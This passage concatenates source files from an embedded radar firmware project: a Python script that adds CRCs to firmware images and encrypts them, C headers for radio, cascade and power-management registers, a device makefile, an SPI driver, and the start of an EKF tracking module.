yield trunk + b'\x00' * (4-n)
else :
break
def gen_1k_stream(din) :
data = bytes()
for d in din :
data = data + d
if len(data) == 2**12 :
yield data
data = bytes()
yield data
def combine_crc(din, fd = None, fc = None) :
data = bytes()
crcs = list()
for d in din :
if len(d) != 0:
crcs.append(crc32_update(d, len(d)))
data = data + d
crc_bytes = bytes()
for c in crcs :
crc_bytes = crc_bytes + c.to_bytes(4, 'little', signed=False)
if fd != None :
with open(fd, 'wb') as f :
f.write(data)
if fc != None :
with open(fc, 'wb') as f :
f.write(crc_bytes)
return data + crc_bytes
def grouper(iterable, n, fillvalue=None):
"Collect data into fixed-length chunks or blocks"
# grouper('ABCDEFG', 3, 'x') --> ABC DEF Gxx"
args = [iter(iterable)] * n
return itertools.zip_longest(*args, fillvalue=fillvalue)
def shuffle_word_order(din) :
for g in grouper(din, 16, 0) :
g = bytes(g)
data = g[12:] + g[8:12] + g[4:8] + g[0:4]
yield data
def shuffle_word_order1(din) :
for g in din :
for gg in grouper(g, 16, b'\x00') :
gg = bytes(gg)
data = gg[12:] + gg[8:12] + gg[4:8] + gg[0:4]
yield data
def shuffle_byte_rev_order(din) :
for g in grouper(din, 16, 0) :
g = g[::-1]
data = bytes(g)
yield data
def shuffle_byte_rev_order1(din) :
for g in din :
for gg in grouper(g, 16, b'\x00') :
gg = gg[::-1]
data = bytes(gg)
yield data
def encrypt_stream(din, key, iv) :
for g in grouper(din, 4, b'\x00' * 16) :
txt = b''.join(g)
yield encrypt(key, iv, txt)
def gen_header(filename, boot_flag, xip_flag):
portion = os.path.splitext(filename)
ininame = portion[0] + ".ini"
elfname = portion[0] + ".elf"
file0 = open(ininame, 'r')
ini_info = file0.readlines()
file0.close();
load_addr = 0
header_pos = 0
header_size = 512
enterpoint = 0
ram_base = 0
line_no = 0
toolchain = 0
t_base = 0
pload_size_pos = 20
ram_base_pos = 24
exec_offset_pos = 28
flash_mmap_firmware_base = 0x300000
if system_boot_stage == 3:
if boot_flag == 0:
header_size = 256
pload_size_pos = 68
ram_base_pos = 76
exec_offset_pos = 80
#get load address and enterpoint.
for line in ini_info:
str0 = line.strip()
item = str0.split()
if line_no == 0:
if item[0] == "gnu":
line_no = 1
toolchain = 1
continue
elif item[0] == "mw":
line_no = 1
continue
else:
print("invalid ini file!")
break
else:
if toolchain == 1:
if len(item) < 2:
print("Error:")
print("\tthe ini file of the input file is invalid!")
else:
if item[1] == ".init":
load_addr = item[4]
elif item[1] == ".data":
if item[3] != item[4]:
ram_base = item[4]
elif item[1] == ".nvm_header":
header_pos = int(item[4], 16)
header_size = int(item[2], 16)
h_seek = header_pos - int(load_addr, 16)
#header_size = int(header_size, 16)
elif item[1] == "<_arc_reset>:":
enterpoint = item[0]
elif item[1] == ".rodata":
print("\r\n");
else:
print("warning: ", item[1])
continue
else:
if item[2] == ".init_bootstrap,":
load_addr = item[4].split("=")[1].split(",")[0]
t_base = item[5].split("=")[1]
elif item[2] == ".rodata,":
continue
elif item[2] == ".nvm_header,":
#h_off - t_base --> header in .bin
#align with 8bytes
h_off = item[5].split("=")[1]
#header_pos = int(h_off, 16) - int(t_base, 16)
#if header_pos & 0x7 != 0:
# header_pos = (((header_pos >> 3) + 1) << 3)
h_seek = int(h_off, 16)
#default is 512,
#header_size = 512
elif item[2] == ".data":
continue
else:
if len(item) > 6:
if item[6] == "_arc_reset":
enterpoint = item[1]
if ram_base == 0:
ram_base = load_addr
if boot_flag > 0:
ram_base = load_addr
#read nvm header.
#h_seek = int(header_pos, 16) - int(load_addr, 16)
#h_seek = header_pos - int(load_addr, 16)
header_in_file = filename
if toolchain == 0:
header_in_file = elfname
file0 = open(header_in_file, 'rb')
file0.seek(h_seek);
header = file0.read(header_size);
file0.close();
#fill header, and compute crc32.
header = bytearray(header);
bin_size = os.path.getsize(filename)
a_word = bin_size.to_bytes(length=4, byteorder='little')
#header[pload_size_pos:pload_size_pos + 3] = a_word
header[pload_size_pos] = a_word[0]
header[pload_size_pos + 1] = a_word[1]
header[pload_size_pos + 2] = a_word[2]
header[pload_size_pos + 3] = a_word[3]
ram_base = int(ram_base, 16)
a_word = ram_base.to_bytes(length=4, byteorder='little')
#header[ram_base_pos:ram_base_pos + 3] = a_word
header[ram_base_pos] = a_word[0]
header[ram_base_pos + 1] = a_word[1]
header[ram_base_pos + 2] = a_word[2]
header[ram_base_pos + 3] = a_word[3]
exec_offset = int(enterpoint, 16) - int(load_addr, 16)
if ((system_boot_stage == 2) and (xip_flag == 1)):
exec_offset = int(enterpoint, 16) - flash_mmap_firmware_base
a_word = exec_offset.to_bytes(length=4, byteorder='little')
#header[exec_offset_pos:exec_offset_pos + 3] = a_word
header[exec_offset_pos] = a_word[0]
header[exec_offset_pos + 1] = a_word[1]
header[exec_offset_pos + 2] = a_word[2]
header[exec_offset_pos + 3] = a_word[3]
h_crc = crc32_update(header, header_size - 4)
a_word = h_crc.to_bytes(length=4, byteorder='little')
#header[header_size - 4:] = a_word
header[header_size - 4] = a_word[0]
header[header_size - 3] = a_word[1]
header[header_size - 2] = a_word[2]
header[header_size - 1] = a_word[3]
if (system_boot_stage == 2) or ((system_boot_stage == 3) and (boot_flag > 0)):
file1 = open("header.bin", 'wb')
file1.write(header);
file1.close();
else:
file1 = open("tmp.bin", 'wb')
file1.write(header);
file1.close();
if __name__ == '__main__' :
#key = b'\xbb' * 32
key = b'\<KEY>xb9\xb8\xb7\xb6\xb5\xb4\xb3\xb2\xb1\xb0'
iv = b'\x00' * 16
if len(sys.argv) < 4 :
print("please input command as follow format:")
print("\tpython post.py input_file_name output_file_name ram/xip [boot]")
print("\tram/xip: ram, means the image executes on ram on chip.")
print("\t\t xip, means the image executes on place.")
print("\tboot: an optional argument, means the target image is Boot.")
else :
bin_size = os.path.getsize(sys.argv[1])
crc_and = bin_size & 0x1000
if (crc_and == 0) and (bin_size % 0x1000 != 0):
w_cnt = 0x1000 - (bin_size % 0x1000)
dummy_data = bytes(w_cnt)
bin_file = open(sys.argv[1], 'ab')
bin_file.write(dummy_data)
bin_file.close()
boot_flag = 0
xip_flag = 0
if len(sys.argv) > 4:
if system_boot_stage == 2:
print("\terror:")
print("argv are too much!")
while True:
continue
if (sys.argv[4].lower() == "boot"):
boot_flag = 1
if sys.argv[3].lower() == 'xip':
xip_flag = 1
gen_header(sys.argv[1], boot_flag, xip_flag)
if security_flag == 0:
with open(sys.argv[2], 'wb') as f :
f.write(combine_crc(gen_1k_stream(word_align(sys.argv[1])), 'data.dat', 'crc.dat'))
f.close()
if (system_boot_stage == 3):
if (boot_flag == 0):
tmp_name = os.path.basename(sys.argv[2]).split('.')[0]
file1 = open("tmp.bin", 'rb')
file1.seek(0)
data = file1.read()
file1.close()
file0 = open(sys.argv[2], 'rb')
file0.seek(0)
old_data = file0.read()
file0.close()
tmp_name = os.path.basename(sys.argv[2]).split('.')[0]
file2 = open(tmp_name + "_combine.bin", 'wb')
file2.write(data)
file2.write(old_data)
file2.close()
else:
if boot_split > 0:
tmp_name = os.path.basename(sys.argv[1]).split('.')[0]
boot1_raw_file = os.path.abspath(os.path.dirname(sys.argv[1]) + "\\" + tmp_name + "_extra.bin")
boot1_file_name = "ota.bin"
with open(boot1_file_name, 'wb') as f :
f.write(combine_crc(gen_1k_stream(word_align(boot1_raw_file)), 'boot1_data.dat', 'boot1_crc.dat'))
f.close()
boot1_file = open(boot1_file_name, 'rb')
boot1_file.seek(0)
data1 = boot1_file.read()
boot1_file.close()
boot_file = open(sys.argv[2], 'ab+')
boot_file.write(data1)
boot_file.close()
else:
if sys.argv[3].lower() == 'xip':
if (system_boot_stage == 3) and (boot_flag == 0):
# encrypt image header under 3 stage xip mode
img_header_name = "temp.bin"
header_file = open("tmp.bin", 'rb')
header_data = header_file.read(256)
header_file.close()
with open(img_header_name, 'wb') as f :
if boot_split > 0:
# encrypt image header under 3 stage boot-split xip mode
for d in shuffle_word_order1(encrypt_stream(shuffle_word_order(header_data), key, iv)):
f.write(d)
else:
# encrypt image header under 3 stage boot-no-split xip mode
for d in shuffle_byte_rev_order1(encrypt_stream(shuffle_byte_rev_order(header_data), key, iv)):
f.write(d)
f.close()
# encrypt firmware image under xip mode
with open(sys.argv[2], 'wb') as f :
for d in shuffle_word_order1(encrypt_stream(shuffle_word_order(combine_crc(gen_1k_stream(word_align(sys.argv[1])), 'data.dat', 'crc.dat')), key, iv)) :
f.write(d)
f.close()
else:
if (system_boot_stage == 3) and (boot_flag == 0):
# encrypt image header under 3 stage ram mode
img_header_name = "tmp.bin"
header_file = open("tmp.bin", 'rb')
header_data = header_file.read(256)
header_file.close()
with open(img_header_name, 'wb') as f :
# encrypt image header under 3 stage boot-no-split ram mode
for d in shuffle_byte_rev_order1(encrypt_stream(shuffle_byte_rev_order(header_data), key, iv)):
f.write(d)
f.close()
# encrypt firmware image under ram mode
with open(sys.argv[2], 'wb') as f :
for d in shuffle_byte_rev_order1(encrypt_stream(shuffle_byte_rev_order(combine_crc(gen_1k_stream(word_align(sys.argv[1])), 'data.dat', 'crc.dat')), key, iv)) :
f.write(d)
f.close()
if (system_boot_stage == 3):
# generate firmware_combine.bin
if (boot_flag == 0):
tmp_name = os.path.basename(sys.argv[2]).split('.')[0]
file1 = open(img_header_name, 'rb')
file1.seek(0)
data = file1.read()
file1.close()
file0 = open(sys.argv[2], 'rb')
file0.seek(0)
old_data = file0.read()
file0.close()
tmp_name = os.path.basename(sys.argv[2]).split('.')[0]
file2 = open(tmp_name + "_combine.bin", 'wb')
file2.write(data)
file2.write(old_data)
file2.close()
else:
if boot_split > 0:
tmp_name = os.path.basename(sys.argv[1]).split('.')[0]
boot1_raw_file = os.path.abspath(os.path.dirname(sys.argv[1])+"\\"+tmp_name + "_extra.bin")
boot1_file_name = "ota_en.bin"
with open(boot1_file_name, 'wb') as f:
for d in shuffle_byte_rev_order1(encrypt_stream(shuffle_byte_rev_order(combine_crc(gen_1k_stream(word_align(boot1_raw_file)), 'data.dat', 'crc.dat')), key, iv)):
f.write(d)
f.close()
boot1_file = open(boot1_file_name, 'rb')
boot1_file.seek(0)
data1 = boot1_file.read()
boot1_file.close()
boot_file = open(sys.argv[2], 'ab+')
boot_file.write(data1)
boot_file.close()
<file_sep>#ifndef FMCW_RADIO_H
#define FMCW_RADIO_H
#ifdef UNIT_TEST
#include "calterah_unit_test.h"
#else
#include "embARC_toolchain.h"
#endif
typedef struct fmcw_radio {
uint32_t start_freq;
uint32_t stop_freq;
uint32_t mid_freq;
uint32_t step_up;
uint32_t step_down;
uint32_t cnt_wait;
uint32_t total_cycle;
uint32_t sd_freq;
int32_t nchirp;
uint8_t frame_type_id;
uint32_t anti_velamb_cycle;
uint32_t chirp_shifting_cyle;
/* following is for debug purpose */
uint32_t up_cycle;
uint32_t down_cycle;
uint32_t wait_cycle;
uint32_t hp_start_freq;
uint32_t hp_stop_freq;
uint32_t hp_mid_freq;
uint32_t hp_step_down;
} fmcw_radio_t;
int32_t fmcw_radio_init(fmcw_radio_t *radio);
int32_t fmcw_radio_start(fmcw_radio_t *radio);
bool fmcw_radio_is_running(fmcw_radio_t *radio);
int32_t fmcw_radio_stop(fmcw_radio_t *radio);
void fmcw_radio_compute_reg_value(fmcw_radio_t *radio);
#endif
<file_sep>#ifndef _SYSTEM_H_
#define _SYSTEM_H_
#ifdef SYSTEM_UART_LOG_EN
#define LOG_MSG(file, func, pos, cause) (\
(((file) & 0xFF) << 24) | \
(((func) & 0xFF) << 16) | \
(((pos & 0xFF) << 8) | \
(((cause) & 0xFF)) )
#define SYSTEM_LOG_START_FLAG 0x53474f4c //0x4C4F4753
#define SYSTEM_LOG_END_FLAG 0x45474f4c //0x4C4F4745
#define UART_FF_DEFAULT \
{.data_bits = UART_CHAR_8BITS, .parity = UART_NO_PARITY, .stop_bits = UART_STOP_1BIT }
#endif
typedef void (*tick_callback)(void *);
typedef void (*next_image_entry)(void);
void gen_crc_table(void);
unsigned int update_crc(unsigned int crc_accum, \
unsigned char *datap, unsigned int datak_size);
#ifdef SYSTEM_TICK
void system_tick_init(void);
uint64_t system_ticks_get(void);
void chip_hw_udelay(uint32_t us);
void chip_hw_mdelay(uint32_t ms);
void set_current_cpu_freq(uint32_t freq);
void system_tick_timer_callback_register(tick_callback func);
#else
static inline void system_tick_init(void) { }
static inline uint64_t system_ticks_get(void) { return 0; }
static inline void chip_hw_udelay(uint32_t us){ }
#ifdef BOOT_SPLIT
void chip_hw_mdelay(uint32_t ms);
#else
static inline void chip_hw_mdelay(uint32_t ms) { }
#endif
static inline void set_current_cpu_freq(uint32_t freq) { }
static inline void system_tick_timer_callback_register(tick_callback func) { }
#endif
void uart_print(uint32_t info);
void flash_xip_init_early(void);
int32_t normal_boot(void);
#ifdef BOOT_SPLIT
void system_ota_entry(void);
#endif
#endif
<file_sep>#ifndef _CASCADE_H_
#define _CASCADE_H_
typedef enum {
CHIP_CASCADE_MASTER = 1,
CHIP_CASCADE_SLAVE
} chip_cascade_status_t;
typedef enum {
DEFAULT_FRAME = 0,
} cascade_frame_type_t;
/*
* TODO: remove!
* */
typedef enum {
CASCADE_COM_2SPI = 0,
CASCADE_COM_SPI_S2M_SYNC,
CASCADE_COM_SPI_2SYNC,
CASCADE_COM_SPI_DUPLEX
} cascade_com_type_t;
#define CASCADE_IF_2SPI_SIMPLEX
/*
#define CASCADE_IF_SPI_S2M_SYNC
#define CASCADE_IF_SPI_2SYNC
*/
#define CASCADE_TX_POLLING
#define CASCADE_TX_INT
#define CASCADE_TX_DMA
#if 0
typedef struct cascade_frame {
//cascade_frame_type_t type;
uint32_t chn_no:4;
uint32_t reserved:4;
uint32_t size:16;
uint32_t sn:4;
uint32_t no:4;
uint32_t *payload;
uint32_t crc;
} cascade_frame_t;
#endif
int32_t cascade_init(void);
void cascade_sync_bb_init(void);
//int32_t cascade_read(uint32_t **data, uint32_t *len);
int32_t cascade_read(uint32_t **data, uint32_t *len, TickType_t wait_ticks);
int32_t cascade_write(uint32_t *data, uint32_t len);
int32_t cascade_transmit_done(void);
void cascade_process_done(void);
#ifdef OS_FREERTOS
int32_t cascade_frame_receive(uint32_t **payload, uint32_t *length);
int32_t cascade_frame_update(uint32_t *payload, uint32_t length);
#endif
int32_t chip_cascade_status(void);
int32_t cascade_if_master_sync_bb_init(void);
int32_t cascade_if_slave_sync_bb_init(void);
int32_t cascade_s2m_sync_bb(void);
void cascade_write_buf_req();
void cascade_write_buf(uint32_t value);
void cascade_write_buf_done();
int32_t cascade_read_buf_req(TickType_t xTicksToWait); /* 1 tick 1ms*/
uint32_t cascade_read_buf(uint32_t offset);
void cascade_read_buf_done();
// command string tx/rx
void cascade_write_buf_str(const char *pcCommandString);
void cascade_read_buf_str();
char * cascade_spi_cmd_info(uint32_t *len);
#endif
<file_sep>
BOOT_INCDIRS += $(EMBARC_ROOT)/device/inc $(EMBARC_ROOT)/device/ip/ip_hal/inc
DEVICE_IP_ROOTDIR = $(EMBARC_ROOT)/device/ip
DEVICE_IP_DIR = $(DEVICE_IP_ROOTDIR)
DEVICE_HAL_DIR = $(DEVICE_IP_ROOTDIR)/ip_hal
DEVICE_BAREMETAL_DRV_DIR = ./device
DEVICE_HAL_COBJS ?=
DEVICE_IP_COBJS ?=
DEVICE_BAREMETAL_DRV_CSRCS ?=
DEVICE_BAREMETAL_DRV_COBJS ?=
ifneq ($(USE_CAN),)
BOOT_INCDIRS += $(DEVICE_IP_ROOTDIR)/can_r2p0
DEVICE_HAL_CSRCS += $(DEVICE_IP_ROOTDIR)/ip_hal/can_hal.c
DEVICE_CAN_CSRCS = $(call get_csrcs, $(DEVICE_IP_ROOTDIR)/can_r2p0)
DEVICE_CAN_COBJS += $(call get_relobjs, $(DEVICE_CAN_CSRCS))
DEVICE_IP_DIR += $(DEVICE_IP_ROOTDIR)/can_r2p0
else
DEVICE_CAN_COBJS ?=
endif
ifneq ($(USE_UART),)
BOOT_INCDIRS += $(DEVICE_IP_ROOTDIR)/designware/dw_uart
DEVICE_UART_CSRCS = $(call get_csrcs, $(DEVICE_IP_ROOTDIR)/designware/dw_uart)
DEVICE_UART_COBJS = $(call get_relobjs, $(DEVICE_UART_CSRCS))
ifneq ($(UART_OTA),)
DEVICE_BAREMETAL_DRV_CSRCS += device/uart.c
else
ifneq ($(UART_LOG_EN),)
DEVICE_BAREMETAL_DRV_CSRCS += device/uart.c
endif
endif
DEVICE_IP_DIR += $(DEVICE_IP_ROOTDIR)/designware/dw_uart
CHIP_CONSOLE_UART_BAUD ?= 3000000
else
DEVICE_UART_COBJS ?=
CHIP_CONSOLE_UART_BAUD ?= 3000000
endif
ifneq ($(USE_GPIO),)
BOOT_INCDIRS += $(DEVICE_IP_ROOTDIR)/designware/gpio
DEVICE_GPIO_CSRCS = $(call get_csrcs, $(DEVICE_IP_ROOTDIR)/designware/gpio)
DEVICE_GPIO_COBJS = $(call get_relobjs, $(DEVICE_GPIO_CSRCS))
DEVICE_HAL_CSRCS += $(DEVICE_IP_ROOTDIR)/ip_hal/gpio_hal.c
else
DEVICE_GPIO_COBJS ?=
endif
ifneq ($(USE_SSI),)
BOOT_INCDIRS += $(DEVICE_IP_ROOTDIR)/designware/ssi
DEVICE_SSI_CSRCS = $(call get_csrcs, $(DEVICE_IP_ROOTDIR)/designware/ssi)
DEVICE_SSI_COBJS = $(call get_relobjs, $(DEVICE_SSI_CSRCS))
DEVICE_IP_DIR += $(DEVICE_IP_ROOTDIR)/designware/ssi
else
DEVICE_SSI_COBJS ?=
endif
ifneq ($(USE_QSPI),)
BOOT_INCDIRS += $(DEVICE_IP_ROOTDIR)/designware/dw_qspi
DEVICE_QSPI_CSRCS = $(call get_csrcs, $(DEVICE_IP_ROOTDIR)/designware/dw_qspi)
DEVICE_QSPI_COBJS = $(call get_relobjs, $(DEVICE_QSPI_CSRCS))
DEVICE_IP_DIR += $(DEVICE_IP_ROOTDIR)/designware/dw_qspi
else
DEVICE_QSPI_COBJS ?=
endif
ifneq ($(USE_XIP),)
BOOT_INCDIRS += $(DEVICE_IP_ROOTDIR)/xip
DEVICE_HAL_CSRCS += $(DEVICE_IP_ROOTDIR)/ip_hal/xip_hal.c
DEVICE_XIP_CSRCS = $(call get_csrcs, $(DEVICE_IP_ROOTDIR)/xip)
DEVICE_XIP_COBJS = $(call get_relobjs, $(DEVICE_XIP_CSRCS))
DEVICE_IP_DIR += $(DEVICE_IP_ROOTDIR)/xip
else
DEVICE_XIP_COBJS ?=
endif
ifneq ($(USE_HW_CRC),)
BOOT_INCDIRS += $(DEVICE_IP_ROOTDIR)/crc
DEVICE_HAL_CSRCS += $(DEVICE_IP_ROOTDIR)/ip_hal/crc_hal.c
DEVICE_CRC_CSRCS = $(call get_csrcs, $(DEVICE_IP_ROOTDIR)/crc)
DEVICE_CRC_COBJS = $(call get_relobjs, $(DEVICE_CRC_CSRCS))
DEVICE_IP_DIR += $(DEVICE_IP_ROOTDIR)/crc
else
DEVICE_CRC_COBJS ?=
endif
DEVICE_BAREMETAL_DRV_COBJS = $(call get_relobjs, $(DEVICE_BAREMETAL_DRV_CSRCS))
DEVICE_BAREMETAL_DRV_OBJS = $(DEVICE_BAREMETAL_DRV_COBJS)
DEVICE_IP_COBJS = $(DEVICE_CAN_COBJS) $(DEVICE_SSI_COBJS) $(DEVICE_QSPI_COBJS) $(DEVICE_UART_COBJS) $(DEVICE_XIP_COBJS) $(DEVICE_CRC_COBJS) $(DEVICE_GPIO_COBJS)
DEVICE_HAL_COBJS = $(call get_relobjs, $(DEVICE_HAL_CSRCS))
DEVICE_COBJS = $(DEVICE_IP_COBJS) $(DEVICE_HAL_COBJS)
DEVICE_OBJS = $(DEVICE_COBJS)
DEVICE_IP_OUT_DIR = $(OUT_DIR)/device/ip
DEVICE_HAL_OUT_DIR = $(OUT_DIR)/device/ip/ip_hal
DEVICE_BAREMETAL_DRV_OUT_DIR = $(OUT_DIR)/device
################# external devices ################
EXT_DEV_ROOT_DIR = $(EMBARC_ROOT)/device/peripheral
ifneq ($(USE_NOR_FLASH),)
NOR_FLASH_ROOT_DIR = $(EXT_DEV_ROOT_DIR)/nor_flash
VENDOR_ROOT = $(NOR_FLASH_ROOT_DIR)/vendor
SUPPORTED_FLASH_TYPE = $(basename $(notdir $(wildcard $(VENDOR_ROOT)/*/*.c)))
VALID_FLASH_TYPE = $(call check_item_exist, $(FLASH_TYPE), $(SUPPORTED_FLASH_TYPE))
ifeq ($(VALID_FLASH_TYPE), )
$(info FLASH - $(SUPPORTED_FLASH_TYPE) are supported)
$(error FLASH $(FLASH_TYPE) is not supported, please check it!)
endif
NOR_FLASH_CSRCS = $(NOR_FLASH_ROOT_DIR)/flash.c \
$(VENDOR_ROOT)/$(VALID_FLASH_TYPE)/$(VALID_FLASH_TYPE).c
ifeq ($(NOR_FLASH_STATIC_PARAM),)
NOR_FLASH_CSRCS += $(NOR_FLASH_ROOT_DIR)/sfdp.c \
$(NOR_FLASH_ROOT_DIR)/cfi.c
endif
NOR_FLASH_COBJS = $(call get_relobjs, $(NOR_FLASH_CSRCS))
NOR_FLASH_OUT_DIR = $(OUT_DIR)/device/peripheral/nor_flash
BOOT_INCDIRS += $(NOR_FLASH_ROOT_DIR) $(VENDOR_ROOT)/$(VALID_FLASH_TYPE)
BOOT_INCDIRS += $(EMBARC_ROOT)/device/ip/xip
BOOT_INCDIRS += $(NOR_FLASH_ROOT_DIR) $(NOR_FLASH_ROOT_DIR)/vendor
else
NOR_FLASH_ROOT_DIR ?=
endif
EXT_DEV_COBJS = $(NOR_FLASH_COBJS)
EXT_DEV_OBJS = $(EXT_DEV_COBJS)
EXT_DEV_DEFINES ?=
ifneq ($(NOR_FLASH_STATIC_PARAM),)
EXT_DEV_DEFINES += -DSTATIC_EXT_FLASH_PARAM
endif
EXT_DEV_DEFINES += -DCHIP_CONSOLE_UART_BAUD=$(CHIP_CONSOLE_UART_BAUD)
<file_sep>#ifndef _DA9061_H_
#define _DA9061_H_
#define REG_PAGE_CON (0x00)
#define REG_STATUS_A (0x01)
#define REG_STATUS_B (0x02)
#define REG_STATUS_D (0x04)
#define REG_FAULT_LOG (0x05)
#define REG_IRQ_MASK_A (0x0A)
#define REG_IRQ_MASK_B (0x0B)
#define REG_IRQ_MASK_C (0x0C)
#define REG_CONTROL_A (0x0E)
#define REG_CONTROL_B (0x0F)
#define REG_CONTROL_C (0x10)
#define REG_CONTROL_D (0x11)
#define REG_CONTROL_E (0x12)
#define REG_CONTROL_F (0x13)
#define REG_PD_DIS (0x14)
#define REG_GPIO_01 (0x15)
#define REG_GPIO_23 (0x16)
#define REG_GPIO_4 (0x17)
#define REG_GPIO_WKUP_MODE (0x1C)
#define REG_GPIO_MODE (0x1D)
#define REG_GPIO_OUT0_2 (0x1E)
#define REG_GPIO_OUT3_4 (0x1F)
#define REG_BUCK1_CONT (0x21)
#define REG_BUCK3_CONT (0x22)
#define REG_BUCK2_CONT (0x24)
#define REG_LDO1_CONT (0x26)
#define REG_LDO2_CONT (0x27)
#define REG_LDO3_CONT (0x28)
#define REG_LDO4_CONT (0x29)
#define REG_DVC_1 (0x32)
#define REG_SEQ (0x81)
#define REG_SEQ_TIMER (0x82)
#define REG_ID_2_1 (0x83)
#define REG_ID_4_3 (0x84)
#define REG_ID_12_11 (0x88)
#define REG_ID_14_13 (0x89)
#define REG_ID_16_15 (0x8A)
#define REG_ID_22_21 (0x8D)
#define REG_ID_24_23 (0x8E)
#define REG_ID_26_25 (0x8F)
#define REG_ID_28_27 (0x90)
#define REG_ID_30_29 (0x91)
#define REG_ID_32_31 (0x92)
#define REG_SEQ_A (0x95)
#define REG_SEQ_B (0x96)
#define REG_WAIT (0x97)
#define REG_RESET (0x99)
#define REG_BUCK_ILIM_A (0x9A)
#define REG_BUCK_ILIM_B (0x9B)
#define REG_BUCK_ILIM_C (0x9C)
#define REG_BUCK1_CFG (0x9E)
#define REG_BUCK3_CFG (0x9F)
#define REG_BUCK2_CFG (0xA0)
#define REG_VBUCK1_A (0xA4)
#define REG_VBUCK3_A (0xA5)
#define REG_VBUCK2_A (0xA7)
#define REG_VLDO1_A (0xA9)
#define REG_VLDO2_A (0xAA)
#define REG_VLDO3_A (0xAB)
#define REG_VLDO4_A (0xAC)
#define REG_VBUCK1_B (0xB5)
#define REG_VBUCK3_B (0xB6)
#define REG_VBUCK2_B (0xB8)
#define REG_VLDO1_B (0xBA)
#define REG_VLDO2_B (0xBB)
#define REG_VLDO3_B (0xBC)
#define REG_VLDO4_B (0xBD)
#endif
<file_sep>#include <string.h>
#include "FreeRTOS.h"
#include "embARC_assert.h"
#include "embARC_error.h"
#include "spi_hal.h"
#include "spi_master.h"
static spi_xfer_desc_t spim_xfer_desc =
{
.clock_mode = SPI_CLK_MODE_0,
.dfs = 32,
.cfs = 0,
.spi_frf = SPI_FRF_STANDARD,
.rx_thres = 0,
.tx_thres = 0,
};
void spi_master_init(eSPIM_ID eSPIM_ID_Num, uint32_t SPIM_Baud_Rate)
{
int32_t result = E_OK;
if (eSPIM_ID_Num == eSPIM_ID_0){
io_mux_spi_m0_func_sel(0);
} else if (eSPIM_ID_Num == eSPIM_ID_1){
io_mux_spi_m1_func_sel(0);
}else{
EMBARC_PRINTF("Invalid SPI Master ID. \r\n");
}
result = spi_open(eSPIM_ID_Num, SPIM_Baud_Rate);
if (E_OK != result){
EMBARC_PRINTF("Error: spi master init failed %d\r\n",result);
}
result = spi_transfer_config(eSPIM_ID_Num, &spim_xfer_desc);
if (E_OK != result){
EMBARC_PRINTF("Error: spi master xfer config failed %d.\r\n",result);
}
}
<file_sep>#include "track_common.h"
#ifdef TRACK_TEST_MODE
#include "stdio.h"
#else
#include "track.h"
#include "embARC_debug.h"
#endif
#include "ekf_track.h"
#include "radar_sys_params.h"
#include "string.h"
#ifdef TRACK_TEST_MODE
#define FUNC_DECOR
#else
#define FUNC_DECOR static
#endif
/*--- VARIABLE -----------------------*/
FUNC_DECOR track_float_t track_A[STATE_ELEM_NUM * STATE_ELEM_NUM] = {0};
FUNC_DECOR track_float_t track_Q[STATE_ELEM_NUM * STATE_ELEM_NUM] = {0};
FUNC_DECOR track_float_t track_R[MEASURE_ELEM_NUM * MEASURE_ELEM_NUM] = {0};
FUNC_DECOR track_float_t track_meas_var_inv[MEASURE_ELEM_NUM] = {0};
#if TRK_CONF_3D
FUNC_DECOR track_float_t track_init_P[STATE_ELEM_NUM * STATE_ELEM_NUM] = \
{10, 0, 0, 0, 0, 0, 0, 0, 0, \
0, 10, 0, 0, 0, 0, 0, 0, 0, \
0, 0, 10, 0, 0, 0, 0, 0, 0, \
0, 0, 0, 10, 0, 0, 0, 0, 0, \
0, 0, 0, 0, 10, 0, 0, 0, 0, \
0, 0, 0, 0, 0, 10, 0, 0, 0, \
0, 0, 0, 0, 0, 0, 10, 0, 0, \
0, 0, 0, 0, 0, 0, 0, 10, 0, \
0, 0, 0, 0, 0, 0, 0, 0, 10};
#else
FUNC_DECOR track_float_t track_init_P[STATE_ELEM_NUM * STATE_ELEM_NUM] = \
{10, 0, 0, 0, 0, 0, \
0, 10, 0, 0, 0, 0, \
0, 0, 10, 0, 0, 0, \
0, 0, 0, 10, 0, 0, \
0, 0, 0, 0, 10, 0, \
0, 0, 0, 0, 0, 10};
#endif
/* interfaces to track */
/* Please use same name for each algorithm */
FUNC_DECOR track_trk_pkg_t trk_internal;
FUNC_DECOR void func_track_init(void *data, void *ctx);
FUNC_DECOR void func_track_run(void *data, void *ctx);
FUNC_DECOR void func_track_stop(void *data, void *ctx);
FUNC_DECOR void func_track_post(void *data, void *ctx);
FUNC_DECOR void func_set_frame_int(void *data, track_float_t delta);
FUNC_DECOR void func_track_header_update(void *data, void *ctx);
FUNC_DECOR void func_track_obj_info_update(void *data, void *ctx, uint32_t i);
FUNC_DECOR bool func_has_run(void *data);
/* helpers */
/* pair candidate and tracker */
static void ekf_run_pair(track_trk_pkg_t* trk_pkg, radar_sys_params_t* sys_params);
static void ekf_run_update(track_trk_pkg_t* trk_pkg, radar_sys_params_t* sys_params);
static void ekf_run_calcul_A(track_trk_pkg_t* trk_pkg);
static void ekf_run_calcul_Q(track_trk_pkg_t* trk_pkg);
static void ekf_run_filter(track_trk_pkg_t* trk_pkg, radar_sys_params_t* sys_params);
void track_run_filter_core(track_trk_pkg_t* trk_pkg, track_float_t f_time, track_trk_t *trk, track_cdi_t *cdi);
#ifdef TRACK_TEST_MODE
void setup_track(track_obj_output_t *obj_out, track_header_output_t *hdr_out, track_cdi_pkg_t *raw_input)
{
trk_internal.raw_input = raw_input;
trk_internal.output_obj = obj_out;
trk_internal.output_hdr = hdr_out;
}
#else
void install_ekf_track(track_t *track)
{
track_trk_pkg_t* trk_pkg = &trk_internal;
trk_pkg->raw_input = &track->cdi_pkg;
trk_pkg->output_obj = &track->output_obj;
trk_pkg->output_hdr = &track->output_hdr;
track->trk_data = trk_pkg;
track->trk_init = func_track_init;
track->trk_pre = NULL;
track->trk_run = func_track_run;
track->trk_post = func_track_post;
track->trk_stop = func_track_stop;
track->trk_set_frame_int = func_set_frame_int;
track->trk_update_obj_info = func_track_obj_info_update;
track->trk_update_header = func_track_header_update;
track->trk_has_run = func_has_run;
}
#endif
FUNC_DECOR void func_track_run(void *data, void *ctx)
{
radar_sys_params_t* sys_params = (radar_sys_params_t *)ctx;
track_trk_pkg_t* trk_pkg = (track_trk_pkg_t*)data;
trk_pkg->output_trk_number = 0;
/* calculate A */
if (TRACK_ALWAYS_CALCUL_A)
ekf_run_calcul_A(trk_pkg);
else if (trk_pkg->has_run == false)
ekf_run_calcul_A(trk_pkg);
/* calculate Q */
if (TRACK_ALWAYS_CALCUL_Q)
ekf_run_calcul_Q(trk_pkg);
else if (trk_pkg->has_run == false)
